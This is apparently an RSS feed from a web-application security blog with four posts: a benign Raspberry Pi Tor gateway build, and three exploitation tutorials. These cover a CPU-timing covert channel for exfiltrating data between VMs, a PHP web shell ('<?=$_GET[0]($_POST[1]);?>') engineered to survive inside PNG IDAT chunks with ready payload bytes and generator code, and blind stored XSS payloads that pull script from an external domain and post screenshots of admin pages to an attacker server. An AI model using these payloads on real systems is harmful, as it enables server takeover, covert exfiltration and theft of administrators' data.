<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web App Security</title>
	<atom:link href="http://www.idontplaydarts.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.idontplaydarts.com</link>
	<description>PHP &#38; LAMP Stack Security</description>
	<lastBuildDate>Wed, 09 Jan 2013 13:05:35 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Raspberry PI and Tor for slightly easier OPSEC</title>
		<link>http://www.idontplaydarts.com/2013/01/raspberry-pi-and-tor-for-slightly-easier-opsec/</link>
		<comments>http://www.idontplaydarts.com/2013/01/raspberry-pi-and-tor-for-slightly-easier-opsec/#comments</comments>
		<pubDate>Wed, 09 Jan 2013 12:52:49 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[OPSEC]]></category>
		<category><![CDATA[Raspberry Pi]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=1418</guid>
		<description><![CDATA[With a desire for stronger operational security (OPSEC) I&#8217;ve built a dual homed Raspberry Pi to act as a Tor client. It sits between my laptop and the internet only allowing traffic that is routed through Tor outbound. For under $50USD this relatively &#8230; <a href="http://www.idontplaydarts.com/2013/01/raspberry-pi-and-tor-for-slightly-easier-opsec/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">With a desire for stronger operational security (OPSEC) I&#8217;ve built a dual homed <a href="http://www.raspberrypi.org/" rel="nofollow" target="_blank">Raspberry Pi </a>to act as a Tor client. It sits between my laptop and the internet only allowing traffic that is routed through Tor outbound. For under $50USD this relatively cheap device should  significantly reduce the risk of your real IP address being accidentally divulged by human error or by software that decides to connect directly to the Internet.</p>
<p style="text-align: justify;">As this is a physically separate hardware device it should prevent your identity or location being disclosed even if your laptop is compromised (assuming you have no personally identifiable information on your laptop). This device makes it harder to make mistakes.</p>
<p style="text-align: justify;"><strong>Software Installation<br />
</strong>Setting up the Pi is a relatively familiar but slow process for anyone that has used Linux &#8211; I opted to use the Debian based distribution &#8220;<a href="http://www.raspbian.org/" rel="nofollow" target="_blank">Raspbian</a>&#8221; as the operating system for the Raspberry Pi choosing to install from scratch on a SDHC card rather than using a <a href="http://www.raspberrypi.org/downloads" rel="nofollow" target="_blank">pre-built image</a>.</p>
<p style="text-align: justify;"><span id="more-1418"></span>As well as Tor, Polipo and the standard Raspbian packages I&#8217;ve installed the following:</p>
<ul>
<li>sshd &#8211; for management, listening on eth0</li>
<li>iptables &#8211; to restrict access to the device</li>
<li>macchanger &#8211; to randomly assign a new mac address on Internet facing interfaces</li>
<li>wireless-tools and wpa_supplicant - for WiFi</li>
</ul>
<p style="text-align: justify;">As the Raspberry PI only has one Ethernet adaptor you need to use either a USB to Ethernet / Wireless USB adaptor / 3G dongle as the other NIC. For the Wireless adaptor I&#8217;ve opted for an <a href="http://www.amazon.com/Alfa-Wireless-Original-Screw-On-9dBi/dp/B001O9X9EU" target="_blank">Alpha Card</a> as which is supported out of the box.</p>
<p style="text-align: justify;">Tor and Polipo can chew up a fair amount of memory so performance is a lot better on the <a href="http://australia.rs-online.com/web/generalDisplay.html?id=raspberrypi" rel="nofollow">Model B Raspberry Pi </a>which has 512mb of RAM. To make it easier to swap the method for connecting to the Internet I used the on-board NIC as the interface to the laptop. The whole set up looks something like this:</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-1443" title="" src="/wp-content/uploads/2013/01/pi2.png" alt="" width="643" height="124" /></p>
<p style="text-align: justify;">If you need access to a socks proxy then the Tor socks proxy (TCP/9050) could also be exposed on eth0.</p>
<p style="text-align: justify;"><strong>System Hardening<br />
</strong>All the services are configured so that they don&#8217;t store any logs. Additionally, SSH is configured with public/private keys which are not stored on the laptop. Disk encryption can be enabled but it means typing in a password each time the Pi boots.</p>
<p style="text-align: justify;"><strong>Power</strong><br />
As the Raspberry Pi is powered using USB it can be powered directly from the laptop and is therefore fully portable (assuming you have a case). Boot time is approximately 1 minute.</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-1471" src="/wp-content/uploads/2013/01/pisetup.jpg" alt="" width="600" height="418" /></p>
<p style="text-align: justify;"><strong>Final Thoughts<br />
</strong>I&#8217;m not sure how secure the Tor Network is but using it is certainly better than using nothing. This device will prevent you from making basic mistakes and if you combine it with free wireless connections should make it significantly harder for you to be identified.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2013/01/raspberry-pi-and-tor-for-slightly-easier-opsec/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Data exfiltration through the VMware hypervisor</title>
		<link>http://www.idontplaydarts.com/2012/08/data-exfiltration-through-the-vmware-hypervisor/</link>
		<comments>http://www.idontplaydarts.com/2012/08/data-exfiltration-through-the-vmware-hypervisor/#comments</comments>
		<pubDate>Sat, 11 Aug 2012 04:19:22 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Covert channel]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Side Channel Attack]]></category>
		<category><![CDATA[Timing Channel Attack]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=1154</guid>
		<description><![CDATA[Its possible for two Virtual Machines with no network access or shared file system to communicate as long as they run under the same Hypervisor. This post will show you how this can be achieved by sending a square wave across the &#8230; <a href="http://www.idontplaydarts.com/2012/08/data-exfiltration-through-the-vmware-hypervisor/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Its possible for two Virtual Machines with no network access or shared file system to communicate as long as they run under the same Hypervisor. This post will show you how this can be achieved by sending a <a title="Wikipedia - Square Wave" href="http://en.wikipedia.org/wiki/Square_wave" rel="nofollow" target="_blank">square wave</a> across the VMware CPU scheduler. This technique could be used to exfiltrate information from compromised systems that are firewalled / no longer connected to the network, or to evade a network based IDS.</p>
<p style="text-align: justify;">There are some pre-requisites, you need access to two or more virtual machines on the same Hypervisor which between them have access to at least the same number of virtual CPUs as physical CPU cores exist within the Hypervisor &#8211; and for these machines to have unlimited CPU resources (MHz). At this point its worth mentioning that cores provided via Hyper-Threading are not considered separate.</p>
<p style="text-align: justify;">When you <a title="oversubscribe" href="https://www.usenix.org/sites/default/files/conference/protected-files/oversubscribe-baset.pdf" target="_blank">oversubscribe</a> a Hypervisor the machines within it end up sharing resources. The result of this is that when a VM runs a CPU intensive task it runs until another VM also requests the same resources, when this happens clock cycles are stolen from one VM and given to the other. The consequence of this is that one virtual machine can monitor how busy the Hypervisor is by observing  the shift in number of calculations it can perform in a given time frame. It is by using this technique (a Timing Channel Attack) that two VM&#8217;s can communicate.</p>
<p style="text-align: justify;"><strong><span id="more-1154"></span>Monitoring the hypervisor<br />
</strong>If you plot a graph of how many calculations per second you can perform on all the virtual cores available to you v.s. time you can see your stolen CPU cycles appear as a dip in the graph.</p>
<div id="attachment_1132" class="wp-caption aligncenter" style="width: 585px"><img class="size-full wp-image-1132" title="CPU cycles stolen by another VM" src="/wp-content/uploads/2012/06/RGraph.png" alt="" width="575" height="244" /><p class="wp-caption-text">Each bar represents 250ms of CPU cycles, the gap in the middle is CPU time stolen by another VM</p></div>
<p style="text-align: justify;">This got me wondering if you can encode data on one VM as a square wave and send it across the Hypervisors&#8217; CPU scheduler to another. As it turns out you can, but its a slow process (comparable to time based blind SQL injection) with the bit rate depending on your VMware configuration and the noise other VMs are generating.</p>
<p style="text-align: justify;"><strong>Sending the Square Wave<br />
</strong>To send a square wave I&#8217;ve got a Python script that increases the CPU load on a given CPU with a simple loop. When the loop runs it represents the dip of the square wave as observed by the receiver, this represents a binary 1. When the loop doesn&#8217;t run the script sleeps, this represents a binary 0.</p>
<pre class="brush: python; title: ; notranslate">
def sendBit(bit, cpuID, timeDelay = 1):

   pid     = os.getpid();
   affinity.set_process_affinity_mask(pid, 1);

   if (bit == '1'):
      print &quot;Sending 1&quot;;
      start = time.time();
      while((time.time() - start) &lt; timeDelay):
           x = 0 + 1;

   if (bit == '0'):
      print &quot;Sending 0&quot;;
      time.sleep(timeDelay);
</pre>
<p style="text-align: justify;">The maximum &#8220;Frequency&#8221; of the square wave transmission depends on the amount of &#8220;noise&#8221; (other VMs on the hypervisor) - noise is generated when these VMs try and steal CPU cycles. The more noise the lower the frequency that can be achieved and therefore the lower the bit rate between the two virtual machines. The ideal situation for an attacker would be if they controlled all the other VMs on the hypervisor &#8211; this would allow them to transmit at a higher frequency (more bits per second) as they could control the level of background noise.</p>
<p style="text-align: justify;">From inital tests I&#8217;ve been able to achieve a frequency of between 0.5Hz &#8211; 4Hz or about about 0.5bits/sec &#8211; 4 bits/sec depending on the Hypervisor load. Not hugely impressive, but dont forget, we&#8217;re not using networking.</p>
<p style="text-align: justify;"><span style="color: #000000;"><strong>Receiving</strong></span><strong> the square wave</strong><br />
To listen for the square wave I use a python script that runs on all available cores, each thread counts how many calculations it can do in a given time slice, I then use the sum of all these threads to gauge the load of other machines on the hypervisor. When the other VMs are under load the number of calculations per given time slice will drop, so when the sender increases their CPU load this should show up as a dip in the receivers graph. You can then translate the peaks and troughs in the graph into binary 0&#8242;s and 1&#8242;s.</p>
<p style="text-align: justify;">The reason we cant just listen on just one virtual CPU is because the Hypervisor may change which physical CPU the virtual CPU is executing on, this can happen randomly. This is also the reason its necessary for the attacker to obtain access to at least the same number of virtual CPUs on the hypervisor as their are hardware CPUs in the system. If one machine doesn&#8217;t have enough cores available to it you can use multiple machines and have them communicate their performance over the network.</p>
<p style="text-align: justify;"><strong>Structure of the transmission<br />
</strong>Having a method to send and receive square waves is great, however to reliably send information we need to package it into a form so that the receiver can distinguish it from background noise. I&#8217;ve chosen a simple 32bit packet prefixed with a preamble (although there&#8217;s nothing stopping you making the packet bigger) &#8211; Its pretty simple and looks like this:</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-1258" title="datablock" src="/wp-content/uploads/2012/08/datablock.png" alt="" width="411" height="41" /></p>
<p style="text-align: justify;"><strong>The preamble</strong><br />
When data is about to be sent the sender constructs a &#8220;<a href="http://whatis.techtarget.com/definition/preamble" rel="nofollow" target="new">preamble</a>&#8221; which is at a slightly higher frequency than that of the data chunk and is unlikely to occur as background noise. The idea of the preamble is that it allows the receiver to detect an incoming message. The receiver then uses the preamble signal to calibrate a threshold for what constitutes a 0 and 1 &#8211; this threshold is then used to decode the data chunk which is sent next.</p>
<div id="attachment_1137" class="wp-caption aligncenter" style="width: 590px"><img class="size-full wp-image-1137" title="The Preamble" src="/wp-content/uploads/2012/06/RGraph2.png" alt="" width="580" height="246" /><p class="wp-caption-text">Each bar is 250ms of time - The preamble as observed by the receiver is a 2.5 second stream of &quot;10101&quot; sent using 1 virtual core.</p></div>
<p>The threshold for what is considered a 0 or a 1 in the data chunk is calculated as:</p>
<p style="text-align: center;"><em>threshold = min(0) &#8211; (0.5 * (min(0) &#8211; max(1)))</em></p>
<p style="text-align: justify;"><strong>The Data chunk<br />
</strong>When the preamble is received the receiver starts detecting the next 32 bits of data, no data is ever sent back to the sender so this could be compared to a satellite TV transmission. Data is then sent at half the rate of the preamble. This is what the preamble with 32 bits of data looks like to the receiver.</p>
<div id="attachment_1167" class="wp-caption aligncenter" style="width: 590px"><img class="size-full wp-image-1167" title="Preamble followed with 32 bits of data" src="/wp-content/uploads/2012/08/data1.png" alt="Complete Data Packet" width="580" height="234" /><p class="wp-caption-text">The complete datagram - the preamble followed by 32 bits of data. Each bar represents the number of calculations performed by the receiver in a 250ms period.</p></div>
<p style="text-align: justify;">Once 32 bits of data has been received the receiver waits for the next preamble to arrive which signifies the arrival of more data.</p>
<p style="text-align: justify;"><strong>Dealing with noise<br />
</strong>As you can probably tell this isn&#8217;t going to be the most reliable way to send information, noise on other virtual processors could corrupt overall message. The easiest solution is to increase the &#8220;transmission power&#8221; of the signal &#8211; if your host that is sending the signal has access to more than one virtual CPU you can send the signal on multiple cores at the same time. Another way to combat noise is to decrease the frequency &#8211; this will make transmission slower but more reliable.</p>
<p style="text-align: justify;">If you want to send lots of data you could build in checksums and even data redundancy using <a title="forward error correction" href="http://en.wikipedia.org/wiki/Forward_error_correction" target="_blank">forward error correction</a>. This is not something I have done in the proof of concept below but imagine it shouldn&#8217;t be too difficult to implement.</p>
<p style="text-align: justify;"><strong>Demo / PoC<br />
</strong>In case you don&#8217;t have access to an ESX/ESXi environment I made a quick video:</p>
<p><iframe src="http://www.youtube.com/embed/YAYt0YdHVdg?feature=player_detailpage" frameborder="0" width="640" height="360"></iframe></p>
<p style="text-align: center;">The <a href="/wp-content/uploads/2012/08/devm_poc.zip">PoC Python code</a> used.</p>
<p style="text-align: justify;"><strong>Conclusions<br />
</strong><span style="color: #000000;">Whether it be disk, memory or CPU &#8211; If  two systems have unrestricted access to the same physical </span>resources<span style="color: #000000;"> it should come as no surprise that they can probably communicate using this medium. The only way to prevent this appears to be to physically limit the amount of resources </span>available<span style="color: #000000;"> to each machine, in the case of the CPU by assigning a </span>separate<span style="color: #000000;"> core to each machine or by governing each machines clock speed.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/08/data-exfiltration-through-the-vmware-hypervisor/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Encoding Web Shells in PNG IDAT chunks</title>
		<link>http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/</link>
		<comments>http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/#comments</comments>
		<pubDate>Mon, 04 Jun 2012 13:50:01 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[File Inclusion]]></category>
		<category><![CDATA[GD]]></category>
		<category><![CDATA[PNG]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=904</guid>
		<description><![CDATA[If you carefully encode a web shell in an image you can bypass server-side filters and seemingly make shells materialize out of nowhere (and I&#8217;m not talking about encoding data in comments or metadata) &#8211; this post will show you how &#8230; <a href="http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">If you carefully encode a web shell in an image you can bypass server-side filters and seemingly make shells materialize out of nowhere (and I&#8217;m not talking about encoding data in comments or metadata) &#8211; this post will show you how it&#8217;s possible to write PHP shells into PNG IDAT chunks using only <a href="http://php.net/manual/en/book.image.php" rel="nofollow" target="new">GD</a>.</p>
<p style="text-align: justify;">Exploiting a <a title="Nginx server misconfigurations can allow code to be executed in non PHP files" href="https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/" target="_blank">server misconfiguration</a> or Local File Inclusion can be tricky if you cannot write code to the file system &#8211; In the past applications that allow image uploads have provided a limited way to upload code to the server via metadata or malformed images. Quite often however images are resized, rotated, stripped of their metadata or encoded into other file formats effectively destroying the web shell payload.</p>
<p style="text-align: justify;"><strong>PNG file format basics</strong><br />
Within the PNG file format (we&#8217;ll focus on true-color PNG files rather than indexed) the  IDAT chunk stores the pixel information. It&#8217;s in this chunk that we&#8217;ll store the PHP shell. For now we&#8217;ll assume that pixels are always stored as 3 bytes representing the RGB color channels.</p>
<p style="text-align: justify;">When a raw image is saved as a PNG each row of the image <a title="Deflate filter description" href="http://www.libpng.org/pub/png/spec/1.2/PNG-Filters.html" target="_blank">is filtered </a> on a per byte basis and the row is prefixed with a number depicting the type of filter that&#8217;s been used (0&#215;01 to 0&#215;05), different rows can use different filters. The rationale behind this is to <a href="http://www.w3.org/TR/PNG-Rationale.html" rel="nofollow" target="new">improve the compression ratio</a>. Once all the rows have been filtered they are all compressed with the DEFLATE algorithm to form the IDAT chunk.</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-926" title="Creating a PNG" src="/wp-content/uploads/2012/06/flow1.png" alt="" width="562" height="122" /></p>
<p style="text-align: justify;">So if we want to input data as a raw image and have it saved as a shell we need to defeat both the PNG line filters and the DEFLATE algorithm. It&#8217;s easier to work backwards so we&#8217;ll start with DEFLATE.</p>
<p style="text-align: justify;"><strong>Step 1. Compressing a string to form a shell<br />
</strong>Ideally we need to design a string that compresses to form a shell, this is not as hard as you might think but obviously our string can&#8217;t contain any repeated blocks of code (or they&#8217;ll be compressed). In fact, to prevent a shell from being compressed you have to design one that doesn&#8217;t have any repeated sub strings longer than 2 characters in length. This means we have to keep it short:</p>
<p><span id="more-904"></span></p>
<pre class="brush: php; title: ; notranslate">
&lt;?=`$_GET[0]`;?&gt;
</pre>
<p style="text-align: justify;">If only it were that simple :) Sadly, if you run DEFLATE over the above string you get a load of garbage out, the string hasn&#8217;t been compressed but the DEFLATE results don&#8217;t start on a byte boundary and are encoded using LSB rather than MSB. I won&#8217;t go into it in too much detail but you can read more on <a href="http://pograph.wordpress.com/2009/06/04/notes-on-gzip-and-deflate-format/">Pograph&#8217;s weblog</a></p>
<p style="text-align: justify;">It turns out the easiest shell to encode is in upper case:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?=$_GET[0]($_POST[1]);?&gt;
</pre>
<p style="text-align: justify;">You can use it by specifying $_GET[0] as <em><a href="http://php.net/manual/en/function.shell-exec.php" rel="nofollow" target="new">shell_exec</a></em> and passing a $_POST[1] parameter with the shell command to execute.</p>
<p style="text-align: justify;">I&#8217;ve engineered the following string that DEFLATES to the above, the advantage of this string is that the first byte of the payload can be changed from 0&#215;00 up to 0&#215;04 and the compressed string will still remain readable &#8211; this is important for evading the PNG filters that will be encountered in the next phase of processing.</p>
<pre class="brush: php; title: ; notranslate">
03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310
</pre>
<p style="text-align: justify;">Sadly you can&#8217;t just embed this in the initial raw image and have it spat out in the IDAT chunk as the PNG library filters the image rows first before it applies DEFLATE.</p>
<p style="text-align: justify;"><strong>Step 2. Bypassing the PNG line filters</strong><br />
There are <a href="http://www.libpng.org/pub/png/spec/1.2/PNG-Filters.html" title="Details of the PNG filter algorithms" target="_blank">5 different types of filters</a> and the PNG encoder decides which one it wants to use for each line. The problem now is we need to construct a string that when passed to the filters results in the string in step 1 being generated.</p>
<p style="text-align: justify;">As long as our image only contains the 1 row payload (the rest of the image needs to be a constant color e.g. black) then the two filters you are likely to encounter are 1 and 3, to simplify things further if the payload remains in the top left of the image then we can write the reverse of the two filters as follows:</p>
<pre class="brush: php; title: ; notranslate">
// Reverse Filter 1
for ($i = 0; $i &lt; $s; $i++);
        $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;

// Reverse Filter 3
for ($i = 0; $i &lt; $s; $i++);
        $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;
</pre>
</p>
<p style="text-align: justify;"> If you encode the payload using just filter 3 the PNG encoder will try to encode it using filter 1, if you encode it using filter 1 the PNG encoder tries to use filter 0 &#8211; eventually you end up stuck in a loop.</p>
<p style="text-align: justify;"> To control which filter the PNG encoder selects I encode the shell in step two with both the inverse of filter 3 and filter 1 and concatenate them, this forces the encoder to choose filter 3 for the payload and ensures that when the data in the raw image is encoded it is transformed into the code in step 2. This code then compresses into the web shell which is stored in the IDAT chunk.</p>
<p style="text-align: justify;">Using this method the following payload is created &#8211; filter 3 is in green, filter 1 in grey. Ironically using filters actually makes the payload larger.</p>
<p style="font-family:courier new; font-size:12px;">
<strong><span style="color:#4ca13f;">0xa3, 0x9f, 0&#215;67, 0xf7, 0xe, 0&#215;93, 0x1b, 0&#215;23, 0xbe, 0x2c, 0x8a, 0xd0, 0&#215;80, 0xf9, 0xe1, 0xae, 0&#215;22, 0xf6, 0xd9, 0&#215;43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0&#215;1, 0xdc, 0x5a, 0&#215;1, 0xdc</span>, <span style="color:#76745a;">0xa3, 0x9f, 0&#215;67, 0xa5, 0xbe, 0x5f, 0&#215;76, 0&#215;74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0&#215;30, 0x6b, 0&#215;88, 0x2d, 0&#215;60, 0&#215;65, 0x7d, 0&#215;52, 0x9d, 0xad, 0&#215;88, 0xa1, 0&#215;66, 0&#215;44, 0&#215;50, 0&#215;33</span></strong>
</p>
<p style="text-align: justify;"><strong>Step 3. Constructing the Raw Image</strong><br />
When constructing the raw image that GD will encode into a PNG file it&#8217;s important that you place the payload in the first row of the image. It&#8217;s worth noting at this point that the payload I&#8217;ve provided above only works for small images (up to ~40px by ~40px) although it is possible to construct payloads for larger image sizes.</p>
<p style="text-align: justify;">Payloads need to be encoded as RGB byte sequences like so:</p>
<pre class="brush: php; title: ; notranslate">
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y &lt; sizeof($p); $y =+ 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);
</pre>
<p style="text-align: justify;">When the image is constructed it should appear a string of pixels in the top left corner on a black background:</p>
<p><img src="/wp-content/uploads/2012/06/shellcode1.png" alt="" title="Web shell encoded as a row of RGB pixels" width="580" height="29" class="aligncenter size-full wp-image-986" /></p>
<p style="text-align: justify;">When the image is viewed with a hex editor you should be able to see the shell:</p>
<p><img src="/wp-content/uploads/2012/06/hexdumppngshell.png" alt="" title="Hex dump of the final PNG" width="618" height="164" class="aligncenter size-full wp-image-989" /></p>
<p style="text-align: justify;">If you want a background that&#8217;s not black it is possible, you may get away with filling in the background with data as long as the bytes (not pixels) within this data do not appear within the rest of the image. If they do the payload may be destroyed when the IDAT block is compressed &#8211; it may also cause other filters to be deployed by the encoder.</p>
<p style="text-align: justify;"><strong>Step 4. Bypassing image transforms</strong><br />
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations &#8211; PHP-GD contains two functions to do this <a href="http://php.net/manual/en/function.imagecopyresized.php" rel="nofollow">imagecopyresized</a> and <a href="http://php.net/manual/en/function.imagecopyresampled.php" rel="nofollow">imagecopyresampled</a>.</p>
<p style="text-align: justify;">Imagecopyresampled transforms images by taking the average pixel value over a group of pixels meaning that to bypass this you need to encode the payload in a series of rectangles or squares. Imagecopyresized however transforms images by sampling every few pixels meaning that to bypass this function you actually only have to change a few pixels.</p>
<p style="text-align: justify;">Both images below contain the web shell when resized to &#185;/&#8328;<sup>th</sup> of their original size.</p>
<div style="padding-left:40px; width:600px;">
<div id="attachment_1026" class="wp-caption alignleft" style="width: 266px"><a href="/wp-content/uploads/2012/06/resized-256x256.png"><img src="/wp-content/uploads/2012/06/resized-256x256.png" alt="" title="Resize shell (Kim Shell)" width="256" height="256" class="size-full wp-image-1026" /></a><p class="wp-caption-text">Kim Shell - Resize to 32x32 using imagecopyresize and save as a PNG using GD to reveal the shell.</p></div></p>
<p><div id="attachment_1027" class="wp-caption alignleft" style="width: 266px"><a href="/wp-content/uploads/2012/06/resampled-256x256.png"><img src="/wp-content/uploads/2012/06/resampled-256x256.png" alt="" title="Resample shell" width="256" height="256" class="size-full wp-image-1027" /></a><p class="wp-caption-text">Resize to 32x32 using imagecopyresample and save as a PNG using GD to reveal the shell.</p></div>
</div>
<p style="text-align: justify;"><strong>Some conclusions</strong><br />
Placing shells in IDAT chunks has some big advantages and should bypass most data validation techniques where applications resize or re-encode uploaded images. You can even upload the above payloads as GIFs or JPEGs etc. as long as the final image is saved as a PNG.</p>
<p style="text-align: justify;">There are probably some better techniques you could use to hide the shell more convincingly and short of scanning each uploaded image for a shell there is probably not much you can do as a developer to stop it. I&#8217;d imagine that encoding a shell into a lossy format such as JPEG could be substantially harder &#8211; but probably not impossible.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Taking screenshots using XSS and the HTML5 Canvas</title>
		<link>http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/</link>
		<comments>http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 11:47:22 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=798</guid>
		<description><![CDATA[Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to. Blind Stored XSS By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt &#8230; <a href="http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to.</p>
<p style="text-align: justify;"><strong>Blind Stored XSS</strong><br />
By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt to detect XSS in pages or applications which might not be accessible. To increase my chances of getting my script tags past basic data validation (e.g. length) I registered a short domain name for my payloads. Using a 3 letter domain with 2 letter prefix and a <a href="http://paulirish.com/2010/the-protocol-relative-url/" rel="nofollow" target="new">protocol relative URL</a> the shortest functional script payload that pulls in an external resource is probably ~32 characters:</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;//xqi.cc&quot;&gt;&lt;/script&gt;
</pre>
<p style="text-align: justify;">Additionally you can also try onload or onmouseover events in case the injection is inside an HTML attribute; although this significantly increases the size of the payload to about 160 characters:</p>
<pre class="brush: jscript; title: ; notranslate">
&quot; onmouseover=&quot;var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
&quot; onload=&quot;var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
</pre>
<p style="text-align: justify;">It goes without saying that you are depending on the administrator or user to view the XSS in order for it to execute, your chances will depend on the type of injection you use and how frequently the vulnerable application is accessed. You&#8217;ll know when the JavaScript resource executes in another application because you can see the JavaScript resource and the HTTP referrer in your HTTP logs:</p>
<p style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:10px; line-height:10pt;">
1.2.3.4 &#8211; - [09/Apr/2012:02:10:49 +0000] &#8220;GET / HTTP/1.1&#8243; 200 57 <strong>&#8220;http://www.site.com/admin/customers.aspx&#8221;</strong> &#8220;Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2&#8243;<br />
1.2.3.4 &#8211; - [09/Apr/2012:02:10:59 +0000] &#8220;GET / HTTP/1.1&#8243; 200 57 <strong>&#8220;http://www.site.com/admin/view_customer.aspx?id=122&#8243;</strong> &#8220;Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2&#8243;
</p>
<p style="text-align: justify;">I was deploying these payloads using a custom <a href="http://portswigger.net/"rel="nofollow" target="new">Burp</a> extension although I&#8217;ve now discovered <a href="http://www.Acunetix.com" rel="nofollow"  target="new">Acunetix</a> allows you to issue custom payloads &#8211; you can <a href="/wp-content/uploads/2012/04/Blind_XSS.script.txt">download the script I use here</a>.</p>
<p style="text-align: justify;"><strong>Taking a screenshot</strong><br />
The HTML5 Canvas allows you to quickly render (client side) an accurate screenshot of the clients browser and use Ajax to return it to a server controlled by the attacker.</p>
<p style="text-align: justify;">The code I use is based more or less entirely on <a href="https://github.com/niklasvh/html2canvas" rel="nofollow">Niklas Von Hertzen&#8217;s version available on GitHub</a>. However I&#8217;ve made a few modifications in order to weaponize it:</p>
<ul>
<li>Merged the source together (Jquery, HTMLCanvas and the JQueryHTMLCanvas plugin) so that the payload consists of just 1 file</li>
<li>Removed any messages displayed to the user</li>
<li>Added an Ajax post so that it posts the Canvas to a remote server</li>
<li>Added some code to prevent the JS being loaded multiple times on the same page</li>
</ul>
